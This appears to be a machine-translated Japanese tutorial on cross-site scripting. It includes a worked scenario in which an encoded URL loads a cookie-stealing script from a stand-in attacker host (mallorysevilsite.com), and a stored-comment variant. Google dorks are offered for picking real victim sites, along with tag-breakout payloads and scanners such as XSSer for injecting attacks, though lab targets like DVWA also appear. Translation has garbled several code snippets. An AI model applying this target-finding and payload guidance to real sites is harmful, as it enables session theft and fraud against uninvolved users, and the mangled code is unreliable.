3.1彼女はURLを作成します http://bobssite.org?q\u003dpuppies ..。 彼女はASCII文字を次のような16進形式に変換することを選択できます http://bobssite.org?q\u003dpuppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E 悪意のあるURLをすぐに解読できないようにするため。
3.2彼女は、ボブのサイトの何人かの無防備なメンバーに、「かっこいい犬をチェックしてください」という電子メールを送信します。
4.アリスは手紙を受け取ります。 彼女は犬が大好きで、リンクをクリックします。 彼女は検索でボブのサイトにアクセスしましたが、何も見つかりませんでした。「犬が見つかりません」と表示され、真ん中にスクリプトでタグが開始され(画面には表示されません)、マロリーのauthstealer.jsプログラムが読み込まれて実行されます(XSS攻撃がトリガーされます)。 アリスはそれを忘れています。
5. authstealer.jsプログラムは、ボブのWebサイトから発信されたかのように、アリスのブラウザーで実行されます。 彼女はアリスの認証Cookieのコピーを取得し、マロリーのサーバーに送信します。サーバーでマロリーはそれらを取得します。
7.マロリーが中にいるので、彼女はウェブサイトの支払いセクションに行き、調べて、アリスのクレジットカード番号のコピーを盗みます。 次に、彼女は行ってパスワードを変更します。 今、アリスはもう入ることさえできません。
8.彼女は次のステップに進むことを決定し、この方法で構築されたリンクをボブ自身に送信し、ボブのサイトの管理者権限を取得します。
永続的なXSS攻撃
- マロリーはボブのウェブサイトにアカウントを持っています。
- マロリーは、ボブのWebサイトに永続的なXSSの脆弱性が含まれていることに気づきました。 新しいセクションに移動してコメントを投稿すると、入力されたものがすべて表示されます。 ただし、コメントテキストにHTMLタグが含まれている場合、それらのタグはそのまま表示され、スクリプトタグが実行されます。
- マロリーはニュースセクションの記事を読み、コメントセクションにコメントを書きます。 彼女はコメントにテキストを挿入します:
- この話では、私は犬がとても好きでした。 彼らはとても素敵です!
- アリス(または他の誰か)がこのコメントを含むページをロードすると、マロリーのスクリプトタグがトリガーされ、アリスの認証Cookieを盗み、収集のためにマロリーのシークレットサーバーに送信します。
- マロリーはアリスのセッションを傍受し、アリスになりすますことができるようになりました。
XSSに対して脆弱なサイトを見つける
XSS道路
最初のステップは、XSS攻撃を実行するサイトを選択することです。 ウェブサイトはGoogleDorksを使用して検索できます。 コピーしてGoogle検索に貼り付けることができるこれらのドークの一部を次に示します。
- inurl:search.php?q \u003d
- inurl:.php?q \u003d
- inurl:search.php
- inurl:.php?search \u003d
サイトのリストが私たちの前に開きます。 サイトを開いて、フィードバックフォーム、入力フォーム、サイト検索などの入力フィールドを見つける必要があります。
人気のある自動更新されたWebアプリケーションの脆弱性を検索することはほとんど役に立たないことをすぐに指摘したいと思います。 そのようなアプリケーションの典型的な例はWordPressです。 実際、WordPress、特にそのプラグインには脆弱性があります。 さらに、WordPressエンジン(Webマスターがソースコードにいくつかの変更を加えたため)、またはプラグインとテーマ(通常は海賊版のプラグインとテーマ)のいずれも更新しないサイトが多数あります。 しかし、このセクションを読んでいて、そこから何か新しいことを学んでいるのなら、WordPressはまだあなたには向いていません...私たちは間違いなく後で戻ってきます。
最適なターゲットは、さまざまなカスタムエンジンとスクリプトです。
挿入ペイロードとして選択できます
埋め込みコードがどのHTMLタグに該当するかに注意してください。 これは典型的な入力フィールドの例です
< input type = "text" class = "ui-input query" name = "q" value = "枕カバー" />< script >アラート(1) script >< input value = "" />
私たちのペイロードは、「枕カバー」という言葉が今あるところに行きます。 それら。 タグ値に変換 入力..。 二重引用符を閉じてからタグ自体を閉じることで、これを回避できます。 «/>
"/>
XSSの脆弱性を検索およびスキャンするためのプログラム
おそらく、すべてのWebアプリケーションスキャナーにはXSS脆弱性スキャナーが組み込まれています。 このトピックは包括的ではありません。そのような各スキャナーについて個別に理解することをお勧めします。
XSSの脆弱性をスキャンするための専用ツールもあります。 それらの中で、特に強調することができます:
- XSSerは、フィルタリングを注入およびバイパスするさまざまな方法を使用できる強力なスキャナーであるだけでなく、XSSに対して脆弱なサイトを(ドークによって)見つけるための自動化ツールでもあります。 脆弱性が見つかったサイトの場合、実際の攻撃のためにペイロードを注入できます。
- XssPyは、サイトのすべてのページ(サブドメインのページを含む)を検索し、これらのページのすべての入力要素を確認できる、かなり独立したツールでもあります。
- BruteXSS-このツールの肯定的な機能は、誤検知を完全に排除することです。
XSSテスト用の脆弱なWebアプリケーション
脆弱なWebアプリケーションのセットのほとんど(一部の高度に専門化されたものを除く)には、XSSに対して脆弱なサイトが含まれています。 最良のオプションは、テスト用に多くのアプリケーションを収集しているDojoスタンドアロン学習環境でそれらを使用することです。 たとえば、XSSの識別と操作のスキルは、次の点でトレーニングできます。
くそー脆弱なWebアプリ(DVWA):
- http:// localhost / dvwa / vulnerabilities / xss_r /(volatile XSS)
- http:// localhost / dvwa / vulnerabilities / xss_s /(保存されたXSS)
Mutillidae / NOWASP(非常に異なるXSSバリエーションがたくさん)
- http:// localhost / mutillidae /
クロスサイトスクリプティング(略してXSS)は、多くのWebアプリケーションに影響を与える広範な脆弱性です。 これにより、攻撃者は、サイトにアクセスするユーザーのブラウザーがコードを実行するように、悪意のあるコードをWebサイトに挿入できます。
通常、このような脆弱性を悪用するには、ユーザーとの対話が必要です。ユーザーはソーシャルエンジニアリングを使用して感染したサイトに誘導されるか、ユーザーが自分でサイトにアクセスするのを待つだけです。 したがって、開発者はXSSの脆弱性を真剣に受け止めないことがよくあります。
しかし、それらに対処しないと、深刻なセキュリティ上の脅威をもたらす可能性があります。
WordPress管理パネルにいて、新しいコンテンツを追加していると想像してみましょう。 これにXSSに対して脆弱なプラグインを使用すると、ブラウザに新しい管理者の作成、コンテンツの変更、およびその他の悪意のあるアクションの実行を強制する可能性があります。 クロスサイトスクリプティングにより、攻撃者は最近の最も重要なソフトウェアであるブラウザをほぼ完全に制御できます。
XSS:注入の脆弱性
すべてのWebサイトまたはアプリケーションには、複数のデータ入力場所(URL自体までのフォームフィールド)があります。 データ入力の最も簡単な例は、フォームにユーザー名とパスワードを入力する場合です。
私たちの名前は、今後の私たちとのやり取りのためにサイトのデータベースに保存されます。 確かに、どのサイトにもログインすると、「ようこそ、イリヤ」というスタイルの個人的な挨拶が表示されました。
ユーザー名がデータベースに保存されるのはこの目的のためです。
インジェクションは、名前やパスワードの代わりに特別な文字のシーケンスが入力された場合の手順であり、攻撃者が必要とする特定の方法でサーバーまたはブラウザーに反応させます。
クロスサイトスクリプティングは、Webサイトに代わってブラウザーでアクションを実行するコードを挿入するインジェクションです。 これは、ユーザーの知らないうちに、ユーザーへの通知とバックグラウンドの両方で発生する可能性があります。
従来のXSS攻撃:
反映(非永続的)。
反映されたXSS攻撃は、ユーザーが特別に準備されたリンクをクリックするとトリガーされます。
これらの脆弱性は、Webクライアントによって提供されるデータ(ほとんどの場合HTTP要求パラメーターまたはHTML形式)がサーバー側のスクリプトによって直接実行され、適切な処理なしでそのクライアントの結果ページを解析および表示する場合に発生します。
保存済み(永続的)。
格納されたXSSは、攻撃者が元のページにアクセスするたびにブラウザーで実行されるサーバーに悪意のあるコードを挿入できる場合に可能です。 この脆弱性の典型的な例は、HTMLコメントを許可するフォーラムです。
クライアント側のコード(JavaScript、Visual Basic、Flashなど)によって引き起こされる脆弱性:
DOMモデルとも呼ばれます。
反映(非永続的)。
サーバー側の場合と同じですが、この場合のみ、コードがブラウザーによって処理されるため、攻撃が可能になります。
保存済み(永続的)。
サーバー側に保存されたXSSと同様に、この場合のみ、悪意のあるコンポーネントがブラウザーストレージを使用してクライアント側に保存されます。
XSSの脆弱性の例。
興味深いことに、この脆弱性が説明されているほとんどの場合、次のコードで私たちを怖がらせます。
Http://www.site.com/page.php?var\u003d
XSSの脆弱性には、パッシブとアクティブの2種類があります。
アクティブな脆弱性 さらに危険なのは、攻撃者が特別なリンクを使用して被害者を誘惑する必要がないため、攻撃者はコードをデータベースまたはサーバー上のファイルに挿入するだけです。 したがって、すべてのサイト訪問者は自動的に被害者になります。 たとえば、SQLインジェクションを使用して統合できます。 したがって、挿入中に処理された場合でも、データベースに格納されているデータを信頼しないでください。
例 受動的な脆弱性 記事の冒頭にあります。 ソーシャルエンジニアリングはすでにここで必要です。たとえば、バックアップから復元した後、アカウントの設定を確認するように要求するサイト管理者からの重要な手紙です。 したがって、被害者の住所を知っているか、スパムメールを手配したり、フォーラムに投稿したりする必要があります。被害者が素朴でリンクをクリックするという事実はありません。
さらに、POSTパラメーターとGETパラメーターの両方が受動的な脆弱性の影響を受ける可能性があります。 もちろん、POSTパラメータを使用すると、トリックを実行する必要があります。 たとえば、攻撃者のWebサイトからリダイレクトします。